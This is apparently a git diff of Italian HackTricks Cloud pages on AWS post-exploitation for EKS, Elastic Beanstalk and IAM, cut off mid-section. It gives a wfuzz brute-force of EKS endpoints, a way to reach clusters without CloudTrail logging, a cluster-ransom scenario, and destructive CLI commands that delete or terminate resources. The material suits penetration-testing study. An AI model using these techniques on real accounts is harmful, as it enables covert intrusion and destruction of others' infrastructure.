GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### Da AWS a Kubernetes
|
||||
|
||||
Il **creatore** del **cluster EKS** sarà **SEMPR** in grado di accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (admin k8s). Al momento della scrittura non c'è **modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non c'è **modo** di **rimuovere** quel **privilegio**.
|
||||
|
||||
Il modo per concedere **accesso a più utenti o ruoli AWS IAM su K8s** è utilizzare il **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Pertanto, chiunque abbia **accesso in scrittura** sul config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**.
|
||||
|
||||
Per ulteriori informazioni su come **concedere privilegi extra a ruoli e utenti IAM** nello **stesso o diverso account** e come **abusare** di questo per [**privesc controlla questa pagina**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Controlla anche [**questo fantastico**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per imparare come funziona l'autenticazione IAM -> Kubernetes**.
|
||||
|
||||
### Da Kubernetes a AWS
|
||||
|
||||
È possibile consentire un **autenticazione OpenID per l'account di servizio kubernetes** per consentire loro di assumere ruoli in AWS. Scopri come [**questo funziona in questa pagina**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### OTTIENI l'Endpoint del Server Api da un Token JWT
|
||||
|
||||
Decodificando il token JWT otteniamo l'id del cluster e anche la regione.  Sapendo che il formato standard per l'url EKS è
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Non ho trovato alcuna documentazione che spieghi i criteri per i 'due caratteri' e il 'numero'. Ma facendo alcuni test per conto mio vedo che ricorrono questi:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Comunque sono solo 3 caratteri che possiamo bruteforzare. Usa lo script qui sotto per generare la lista.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Poi con wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ricorda di sostituire & .
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
Se un attaccante ottiene le credenziali di un AWS con **permessi su un EKS**. Se l'attaccante configura il proprio **`kubeconfig`** (senza chiamare **`update-kubeconfig`**) come spiegato in precedenza, il **`get-token`** non genera log in Cloudtrail perché non interagisce con l'API AWS (crea solo il token localmente).
|
||||
|
||||
Quindi, quando l'attaccante comunica con il cluster EKS, **cloudtrail non registrerà nulla relativo all'utente rubato e al suo accesso**.
|
||||
|
||||
Nota che il **cluster EKS potrebbe avere i log abilitati** che registreranno questo accesso (anche se, per impostazione predefinita, sono disabilitati).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Per impostazione predefinita, il **utente o il ruolo che ha creato** un cluster ha **SEMPRE privilegi di amministratore** sul cluster. E che l'unico accesso "sicuro" che AWS avrà sul cluster Kubernetes.
|
||||
|
||||
Quindi, se un **attaccante compromette un cluster utilizzando fargate** e **rimuove tutti gli altri amministratori** e **elimina l'utente/ruolo AWS che ha creato** il Cluster, ~~l'attaccante potrebbe aver **riscattato il cluster**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che se il cluster stava utilizzando **EC2 VMs**, potrebbe essere possibile ottenere privilegi di amministratore dal **Node** e recuperare il cluster.
|
||||
>
|
||||
> In realtà, se il cluster utilizza Fargate, potresti utilizzare nodi EC2 o spostare tutto su EC2 nel cluster e recuperarlo accedendo ai token nel nodo.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,143 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Per maggiori informazioni consulta
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerare il cluster dalla AWS Console
|
||||
|
||||
Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare oggetti Kubernetes** tramite la console AWS EKS ([Scopri di più](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Connettersi al cluster Kubernetes AWS
|
||||
|
||||
- Metodo semplice:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Non è così semplice:
|
||||
|
||||
Se puoi **ottenere un token** con **`aws eks get-token --name <cluster_name>`** ma non hai i permessi per ottenere le informazioni del cluster (describeCluster), puoi **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, ti serve comunque l'**endpoint URL a cui connetterti** (se sei riuscito a ottenere un JWT token da un pod leggi [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) e il **nome del cluster**.
|
||||
|
||||
Nel mio caso, non ho trovato le informazioni nei log di CloudWatch, ma le **ho trovate in LaunchTemaplates userData** e anche nelle **macchine EC2 in userData**. Puoi vedere queste informazioni in **userData** facilmente, per esempio nel seguente esempio (il nome del cluster era cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### From AWS to Kubernetes
|
||||
|
||||
Il **creator** del **EKS cluster** potrà **SEMPRE** accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (k8s admin). Al momento della stesura non esiste **un modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non esiste **alcun modo** per **rimuovere** quel **privilegio**.
|
||||
|
||||
Il modo per concedere **accesso a K8s a più AWS IAM users o roles** è usando la **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Quindi, chiunque abbia **accesso in scrittura** alla config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**.
|
||||
|
||||
Per maggiori informazioni su come **concedere privilegi extra a IAM roles & users** nello **stesso o in un account diverso** e come **abusarne** per fare [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Vedi anche[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per capire come funziona l'autenticazione IAM -> Kubernetes**.
|
||||
|
||||
### From Kubernetes to AWS
|
||||
|
||||
È possibile permettere un'autenticazione OpenID per i kubernetes service account per consentire loro di assumere ruoli in AWS. Scopri come [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
Decodificando il token JWT otteniamo il cluster id e anche la regione.  Sapendo che il formato standard per l'url EKS è
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Non ho trovato alcuna documentazione che spieghi i criteri per i 'due caratteri' e il 'numero'. Però, facendo alcuni test per mio conto, vedo ricorrere questi:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Comunque sono solo 3 caratteri: possiamo eseguire il bruteforce su di essi. Usa lo script qui sotto per generare la lista
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Poi con wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ricorda di sostituire & .
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
|
||||
|
||||
So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
|
||||
|
||||
Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Di default lo **user or role that created** un cluster avrà **ALWAYS admin privileges** sul cluster. E questo è l'unico accesso "secure" che AWS avrà sul Kubernetes cluster.
|
||||
|
||||
Quindi, se un **attacker compromette un cluster usando fargate** e **rimuove tutti gli altri admins** e **elimina lo AWS user/role che ha creato** il Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che se il cluster stava usando **EC2 VMs**, potrebbe essere possibile ottenere privilegi Admin dal **Node** e recuperare il cluster.
|
||||
>
|
||||
> In realtà, se il cluster usa Fargate potresti creare EC2 nodes o spostare tutto su EC2 nel cluster e recuperarlo accedendo ai tokens nel node.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,70 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Per ulteriori informazioni:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
|
||||
|
||||
Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione di applicazione esistente**. Questa azione potrebbe interrompere i pipeline di distribuzione dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non vengono eseguiti backup.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impatto Potenziale**: Interruzione del deployment dell'applicazione e potenziale perdita delle versioni dell'applicazione.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
|
||||
|
||||
Un attaccante con l'autorizzazione `elasticbeanstalk:TerminateEnvironment` può **terminare un ambiente Elastic Beanstalk esistente**, causando inattività per l'applicazione e potenziale perdita di dati se l'ambiente non è configurato per i backup.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Impatto Potenziale**: Interruzione dell'applicazione, potenziale perdita di dati e interruzione dei servizi.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
|
||||
|
||||
Un attaccante con l'autorizzazione `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, comprese tutte le sue versioni e ambienti. Questa azione potrebbe causare una significativa perdita di risorse e configurazioni dell'applicazione se non viene eseguito un backup.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Impatto Potenziale**: Perdita di risorse dell'applicazione, configurazioni, ambienti e versioni dell'applicazione, portando a interruzioni del servizio e potenziale perdita di dati.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
|
||||
|
||||
Un attaccante con il permesso `elasticbeanstalk:SwapEnvironmentCNAMEs` può **scambiare i record CNAME di due ambienti Elastic Beanstalk**, il che potrebbe causare la visualizzazione della versione sbagliata dell'applicazione agli utenti o portare a comportamenti indesiderati.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Impatto Potenziale**: Servire la versione sbagliata dell'applicazione agli utenti o causare comportamenti indesiderati nell'applicazione a causa di ambienti scambiati.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
|
||||
|
||||
Un attaccante con le autorizzazioni `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` può **aggiungere o rimuovere tag sulle risorse di Elastic Beanstalk**. Questa azione potrebbe portare a un'allocazione errata delle risorse, fatturazione o gestione delle risorse.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Impatto Potenziale**: Allocazione errata delle risorse, fatturazione o gestione delle risorse a causa di tag aggiunti o rimossi.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,70 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Per ulteriori informazioni:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Verificare se sono necessarie altre autorizzazioni per questo
|
||||
|
||||
Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione dell'applicazione esistente**. Questa azione potrebbe interrompere le pipeline di deployment dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non sono state eseguite copie di backup.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impatto potenziale**: Interruzione del deployment dell'applicazione e possibile perdita delle versioni dell'applicazione.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Verificare se sono necessarie ulteriori autorizzazioni per questo
|
||||
|
||||
Un attaccante con il permesso `elasticbeanstalk:TerminateEnvironment` può **terminare un ambiente Elastic Beanstalk esistente**, causando un'interruzione del servizio per l'applicazione e possibile perdita di dati se l'ambiente non è configurato per i backup.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Impatto potenziale**: indisponibilità dell'applicazione, possibile perdita di dati e interruzione dei servizi.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Verificare se sono necessarie ulteriori autorizzazioni per questo
|
||||
|
||||
Un attacker con il permesso `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, incluse tutte le sue versioni e ambienti. Questa azione potrebbe causare una perdita significativa di risorse e configurazioni dell'applicazione se non sono stati eseguiti backup.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Impatto potenziale**: Perdita di risorse dell'applicazione, configurazioni, ambienti e versioni dell'applicazione, con conseguente interruzione del servizio e possibile perdita di dati.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Verificare se per questo sono necessari permessi aggiuntivi
|
||||
|
||||
Un attacker con il permesso `elasticbeanstalk:SwapEnvironmentCNAMEs` può **scambiare i record CNAME di due ambienti Elastic Beanstalk**, il che potrebbe causare che venga servita agli utenti la versione sbagliata dell'applicazione o portare a comportamenti indesiderati.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Impatto potenziale**: Servire agli utenti la versione sbagliata dell'applicazione o causare comportamenti imprevisti nell'applicazione a causa di ambienti scambiati.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Verificare se per questo sono necessarie ulteriori autorizzazioni
|
||||
|
||||
Un attaccante con i permessi `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` può **aggiungere o rimuovere tag sulle risorse di Elastic Beanstalk**. Questa azione potrebbe portare a un'allocazione errata delle risorse, a problemi di fatturazione o a una gestione errata delle risorse.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Impatto potenziale**: allocazione errata delle risorse, fatturazione o gestione delle risorse a causa di tag aggiunti o rimossi.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,24 +1,24 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Per maggiori informazioni sull'accesso IAM:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problema del Confused Deputy
|
||||
## Confused Deputy Problem
|
||||
|
||||
Se **permetti a un account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
|
||||
Se **consenti a un account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi possa esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
|
||||
|
||||
Per questo, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assume the role in your organization**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non potrà accedere al tuo role**.
|
||||
Perciò, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assume the role in your organization**. Poiché **l'account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non sarà in grado di accedere al tuo role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tuttavia, nota che questo `ExternalId` "segreto" è **non è un segreto**, chiunque possa **read the IAM assume role policy will be able to see it**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, questo **impedisce a B di abusare di A per accedere al tuo role**.
|
||||
Tuttavia, nota che questo `ExternalId` "segreto" **non è un segreto**, chiunque possa **leggere la IAM assume role policy sarà in grado di vederlo**. Ma fintanto che l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, questo **impedisce a B di abusare di A per accedere al tuo role**.
|
||||
|
||||
Esempio:
|
||||
```json
|
||||
@@ -39,9 +39,9 @@ Esempio:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Per un attacker che voglia sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account.
|
||||
> Perché un attacker possa sfruttare un confused deputy, dovrà in qualche modo verificare se i principals del current account possono impersonare ruoli in altri account.
|
||||
|
||||
### Trust inattesi
|
||||
### Trust inaspettati
|
||||
|
||||
#### Wildcard come principal
|
||||
```json
|
||||
@@ -51,9 +51,9 @@ Esempio:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Questa policy **consente a tutti i servizi AWS** di assumere il ruolo.
|
||||
Questa policy **consente a tutti gli account AWS** di assumere il ruolo.
|
||||
|
||||
#### Servizio come principale
|
||||
#### Service as principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -64,7 +64,7 @@ Questa policy **consente a tutti i servizi AWS** di assumere il ruolo.
|
||||
```
|
||||
Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda.
|
||||
|
||||
#### S3 come principal
|
||||
#### S3 come principale
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ Questa policy **consente a qualsiasi account** di configurare il proprio apigate
|
||||
}
|
||||
}
|
||||
```
|
||||
Se un S3 bucket è dato come principal, dato che gli S3 bucket non hanno un Account ID, se hai **eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
|
||||
Se un bucket S3 è specificato come principal, poiché i bucket S3 non hanno un Account ID, se tu **hai eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
|
||||
|
||||
#### Non supportato
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Se un S3 bucket è dato come principal, dato che gli S3 bucket non hanno un Acco
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (per esempio CloudTrail secondo alcune fonti).
|
||||
Una pratica comune per evitare problemi di Confused Deputy è l'utilizzo di una condizione con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (ad esempio CloudTrail secondo alcune fonti).
|
||||
|
||||
### Eliminazione delle credenziali
|
||||
